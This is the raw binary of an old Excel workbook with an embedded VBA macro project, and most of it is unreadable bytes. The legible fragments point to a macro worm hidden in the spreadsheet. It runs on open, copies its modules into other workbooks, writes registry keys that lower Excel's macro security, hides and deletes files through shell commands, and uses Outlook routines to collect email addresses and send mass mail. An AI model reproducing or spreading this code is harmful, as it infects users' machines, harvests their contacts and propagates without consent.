��ࡱ�>�� �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ����#" !(6����%&'����52+,-./01$34����?B89:;<=>)@A������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry�������� �F@ �)����9���'Workbook��������_VBA_PROJECT_CUR"t��� �?���VBA��������t���Pu,��� ��������\pTWS �k B�a�=��� ThisWorkbook���=�x9!�8X@�"��1������[SO1������[SO1������[SO1������[SO1������[SO1������[SO1"h���� wiSO_GB23121������[SO+"��"#,##0;"��"\-#,##05"��"#,##0;[Red]"��"\-#,##07"��"#,##0.00;"��"\-#,##0.00A"��"#,##0.00;[Red]"��"\-#,##0.00i*2_ "��"* #,##0_ ;_ "��"* \-#,##0_ ;_ "��"* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ "��"* #,##0.00_ ;_ "��"* \-#,##0.00_ ;_ "��"* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)��� � ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� � � � �� �� �,�� �� �*�� �� �+�� �� �)�� �� � 0@ @ � �8@ @ � � � � � ������������������`��Sheet1��Sheet2��Sheet3�VV����8�� �^�S3u�bf[b�\O�T T�y\O�T{|+R�Nx,{N\O�Kb:gf[�S0t^�~vQ�N\O�c�[Ye^$,{AS NJ\ cbog q\N{��]Nf[b�'Yf[u��Yf[/g�y�b\O�T�z[�\O�T�~��Gl;`h� 7�� bcc ���� )� |t  d����MbP?_*+��%����M<�4� X� � � � � � � � SDDMhp LaserJet 1010 -������������dd�����" dX�?�?U} } @} @} � } } `} � )  v                               �  �� � � � � � � � � �������� � � � � �������������������Dnl(~ ! " # $ % & ' ( � �!�"�#�$�%�&�'�(���>�@� �7� Sheet1 ���� �  d����MbP?_*+��%�����"�?�?U>�@�7� Sheet2 ���� �  d����MbP?_*+��%�����"�?�?U>�@�7� Sheet3 ThisWorkbook���������__SRP_a������������0__SRP_b����$BSheet1��������&� ���� !"#����%����'()*+,-./012345678����:;<����>����@ABCDEFGHIJKLMNOPQ����STU����W����YZ[\]^_`abcdefghij����lmn����p����rstuvwxyz{����}~�T�������q���#����������<��WA��i�fF�i\��C��FP0�qu\E��t UDo������������xP0�qu\E��t UDoWA��i�fF�i\��C���ME����������������������������������������������������������������������������������������������������������������������������������������������[L����S����S�����6"����<��<(��<,��<��<��< ��<$��<0��<4��<8��<<��<������N0{00020819-0000-0000-C000-000000000046}@�������4T@������������ 8`������������d�D��������`� "8`������������\�D�����d �� ��������52���������������������%0p�����������������H�������������� %����������x�������������� %p�������������p�������������������������������������������������������������������������������������������������������������������������������������������������8����p �� �� �� �%����x���h�����%�x��� �� ` �%����x��������� %�8�����(t��� �� t��� �� �����������������0p��� �� ���� @��d��� �� ���������0����������������������������������������������P @TT����������������������w��R$*\Rffff*0J5289f977�����4���������������������Attribute VB_Name = "ThisWorkbook" �Bas�0{00020P819-0C$0046}� |Global�Spac�False dCreatablPred�eclaId�Tru BExposeTemplateDeriv�BustomizD2rU��� 8y+Y�+���� #4����������������������������������������������������������������������������������������������������������������������������������������������������������������`rU��� ��������@nL�z����.���#����������<��;b^�nuKL��-�*�: �F�� �8�G��5�Q�ږ������������x�� �8�G��5�Q�ږ;b^�nuKL��-�*�:��ME�����������������������������������������������������������������������������������������������������������������������������������������������(SL����S����S�����6"������N0{00020820-0000-0000-C000-000000000046}��������������(����������%����H���������`�������������� %��8����������������������� %����`�����������������������������������������������������h8@HH�����������������������w��R$*\Rffff*0K5289f977�����4����������x������Attribute VB_Name = "She@et1" �Bast0{000�20820- C$0046} |Global!�Spac�False dCreatablPre declaId�Tru BExposeTemplateDeriv$�Bustom izD2rU��� h�+i�����4�A����������������������������������������������������������������������������������`rU��� ��������@nL�z�������#����__SRP_9����9�__SRP_8������������=BSheet2����?�__SRP_7 ����R�������<���9�7%�G�#��~�ן �F �EʐO��|{�ι�������������x �EʐO��|{�ι��9�7%�G�#��~�ן��ME�����������������������������������������������������������������������������������������������������������������������������������������������(SL����S����S�����6"������N0{00020820-0000-0000-C000-000000000046}��������������(����������%����H���������`�������������� %��:����������������������� %����`�����������������������������������������������������h8@HH�����������������������w��R$*\Rffff*0L5289f977�����4����������x������Attribute VB_Name = "She@et2" �Bast0{000�20820- C$0046} |Global!�Spac�False dCreatablPre declaId�Tru BExposeTemplateDeriv$�Bustom izD2rU��� ��i ,����4�A����������������������������������������������������������������������������������`rU��� ��������@n__SRP_6������������VBSheet3������������X�__SRP_3 ����k�__SRP_2��������oBL�z����҇��#����������<��k���f&N�KĖ6E �F�~mO�M��d�E�'������������x�~mO�M��d�E�'k���f&N�KĖ6E��ME�����������������������������������������������������������������������������������������������������������������������������������������������(SL����S����S�����6"������N0{00020820-0000-0000-C000-000000000046}��������������(����������%����H���������`�������������� %��<����������������������� %����`�����������������������������������������������������h8@HH�����������������������w��R$*\Rffff*0M5289f977�����4����������x������Attribute VB_Name = "She@et3" �Bast0{000�20820- C$0046} |Global!�Spac�False dCreatablPre declaId�Tru BExposeTemplateDeriv$�Bustom izD2rU��� �1,iY,����4�A����������������������������������������������������������������������������������`rU��� ��������@n���0*� pH�d� VBAProje�ct4@j = r w��R� J< r�stdole>stdo�le h%^*\G{00�020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`�EOffDic�EOf�i�c�E�����E2DF8D04C-5BFA-10�1B-BDE5�E�AA�C4�2�E��gram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#��M 1@1.0 Ob�� �LibraryK ��VBIDE>�BI�DE������E157���R�5.3�R�/��\�6E6EXT.OLB�0V_VBA_PROJECT������������*Wdir������������q�__SRP_0 ����7�__SRP_1������������|V��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������trkey�`Value�K` ValueType `oWshellu�`RegWrite!>`sht��`Add�r`xlExcel4MacroSheet0` ActiveSheet%N`Range� ` ActiveCell��` FormulaR1C1S`UserName\�`ChrK~`Now%�`Namesο`Excel4MacroSheetsɷ`Visible��`xlSheetVeryHidden��` WorkBookName+�`WorkBookNotOpen�`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw�`Time��`ReadOut�` CreateFile�` search_in_OLe`if_outlook_openi�`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName�` AddVbsFileVg` AddListFile��`fsF]` Folderexists� ` CreateFolder�`Replacef`AddVbsFile_clear͸`AddVbsFile_search�` WindowState|�` xlMaximizedZp`Run_�`vbHide�W` Address_listQ�`get_ten_address``mail_sub�`RestoreBeforeSendq+`c4�\`ChDrive%�` FileExists�`Massive_SendMail�`vbCrLf��` Email_Address��`SubjectRP`Bodyl�` CC_email_add�` Attachment^6`objOL�` itmNewMail6` CreateItem�~` olMailItem��`CC�\` Attachments_�`DeleteAfterSubmit��`continue�T` SendEmail��`display�`SendKeysN`Wait�`objs��` GetObjectz�` InstancesOfr�`obj��` Description� ` RadomNine��`lengthY�`jj�]`kb`RndR�`md`singleAddress_arr� `krr��`Split�)`FullPath+`FileTextg|` OpenTextFile��`ReadAll�U`FragMark)O`pathf; `aa{\`i_rowz,`i_colx�`Delete�x`xlSheetVisible��`Cells�`FontU`Bold��` ColorIndex��`del_shtv`rngU�`del_fragy�`��_Defaultj�` Worksheet��`_B_str_Environ��` _B_var_UCasea�` _B_var_Time�$` _B_var_TrimmT`_B_var_Environ�/` _B_var_Mid�p`��x������������ ����������9;=���������������������������������������������������� H�������������������������������������������������������0������������������������������������H������������������������������������������������\2�����O�fO4,�Q�����isual Basic for Applic�as Extensibilpity ��+�B����B�ThisWorkbookG� T��isWA��rkb�oU�� 2� �THB1B���B,�!q�"B +BB�Shee�t1G�S@#e@��t1H2N!���.�U�2�2�2�2R��� 3� 35� 3� 3� �)҇� �*�_Evaluate�`xx�_`rU����~~~~~~s ������������    I� I�xx I ( I 8wb Module7-0000-0000-C000-000000000046}`��Fz��F ToDoleb��F�fĤ�I�x�8<� Temp \ .basd��F .! ������O�Ħn��F 9���� H�� �8�G��5�Q�ږ 9����� h 9����� � 9����� � 9���� � 9����� � 9����x  ThisWo�ay� �*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library�*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3  ��������w��R����������������������������������������������������������ThisWorkbook0J5289f977��ThisWorkbook��q���� Sheet10K5289f977��9 Sheet1��.���� Sheet20L5289f977��; Sheet2���0��� Sheet30M5289f977��= Sheet3��҇H�������h����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0������������������������������������H������������������������������������������������\2�����O�fO4,�Q������Ѻ+�O�����������6Bq�^�H�q��p�`������ߌ%�m�G�S0"' .������������tEExcel�+`VBA��`Win16�~`Win32`Mac��`VBA6�#` VBAProject��`stdole�``Officeu`VBIDEA�` ThisWorkbook|�` ��_Evaluate�`xx�_` Application�*` Workbook_open��` DisplayAlerts��`do_what��`xx_workbookOpenPZ`wb�_`Workbookk` VBProjectOh` References�` AddFromGuidA{`GUID�`Major'`Minor�a`ScreenUpdating! ` copystart� `Sheet1�`Sheet2�`Sheet3�`ToDOLEŝ` auto_openV `Path2` StartupPathi�`delete_this_wk}�`copytoworkbooke�`Sheets ` Movemacro4@�`Save��`DQUOTE!x` VBComponents '` CodeModule�` InsertLines��`VBProj�`VBCompӜ` VBComponent�`CodeMod}O` DeleteLines �` CountOfLines!\`RestoreAfterOpen��`OpenDoor�`Microsofthobby �` ActionJudgeBG`VBProj1F�`VBProj2G�` WorkbooksB�` copymodule��` ModuleName#>` FromVBProject�6` ToVBProject��`OverwriteExistingk�`FNameR�`CompName!�`Sj`SlashPosk#`ExtPosF�` TempVBComp�`Trim@�` vbNullString��` Protection�`vbext_pp_locked�h`Erro�`Number�-`Environ,`vbNormal�-`vbHiddenT;`vbSystem��`Clear��`Kill��`Removeϱ`Item�z`Export��`FileNamej�`InStrRevĈ`Importi�`vbext_ct_Document �`Lines��`myfile0[y`MyFile��`FullNameО` ��WorkbookOpen��`ShellV�`vbMinimizedFocus�x`IsAddin~|` SaveCopyAsT�`Fso�`RK1��`RK2��`RK3��`RK4��`KValue1'�`KValue2(�`VS�_`Version��` CreateObject��`WReg�y`srkbook " FPublic WithEvents xx As Application GUID:= , _ 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueTyٷ"��N������.�H��,��F�7.�\\{`�vC$�;E�� g���p�0n�O��فv^/ڡ��c1�H�˹,g������-vN��5f����;���L���M����^����G�'������_�חLG��B�.M 8�Ȇm+H�u�O��NWA��i�fF�i\��C�P0�qu\E��t UDo;b^�nuKL��-�*�: �EʐO��|{�ι�k���f&N�KĖ6E�~mO�M��d�E�'p WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen�F��F 1 ���� �NameName �y H FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf I�X�+�\Z?x�D���Yڻܔ�u��C�,:5���ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3EY_CURRENT_UPROJECTwm�������������hPROJECT����� SummaryInformation(����������DocumentSummaryInformation8��������������K*y����rU��~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~a �EAe�,�A�屖�%ׁ � ������a ���������a ��������a ������)��a ������A9Ii�� VBAProject ThisWorkbookSheet1Sheet2Sheet3ToDOLE��F@C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLLVBA q���� �)`�F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel ������1p0�FWorkbook C:\WINDOWS\system32\stdole2.tlbstdole ����� Q�L��-�[���D�R?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice ������q�W��FCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE ����� ����F�N� ��O����dt��Fˠ$�d��E�������D�FxxD�F��F Workbook_openxx_workbookOpen H44 auto_opencopytoworkbookdelete_this_wkdo_what copystart copymodule ������O�ĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen�F��F 1 ���� �Name Macro1Visible A1:F15��F Range Value CONFIDENTIAL Delete��F GJ�PxL�N���k� �FfӮU�HF�# X/tW�D�F Worksheet @�tJC�wS��U[���}@�8A5�屘+�\Z?x�D���Yڻܔ�u��C�,:5��� WScript.Shell 4scRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORDVBE6.DLL 9����� h �9�7%�G�#��~�ןRegWrite \k4.xls k4.xls��F comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q " 9����� � 9����X � 10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXE <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txt 9���� � 9����d � 9�����  9����" ( L{0002E15ID="{B787D3D0-4AD4-4D6F-8E26-6C156B490F79}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="BEBC5115B16D6B716B716B716B71" DPB="7C7E93D3EF90F090F090" GC="3A38D599929A929A6D" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C �������Oh��+'��0�@HT` x ���Microsoft Excel@�2��@�b�������՜.��+,��0� PXd lt|� � ��� Sheet1Sheet2Sheet3 �������� ���� �FMicrosoft Office Excel ������Biff8Excel.Sheet.8�9�qCompObj�������������j������������������������������������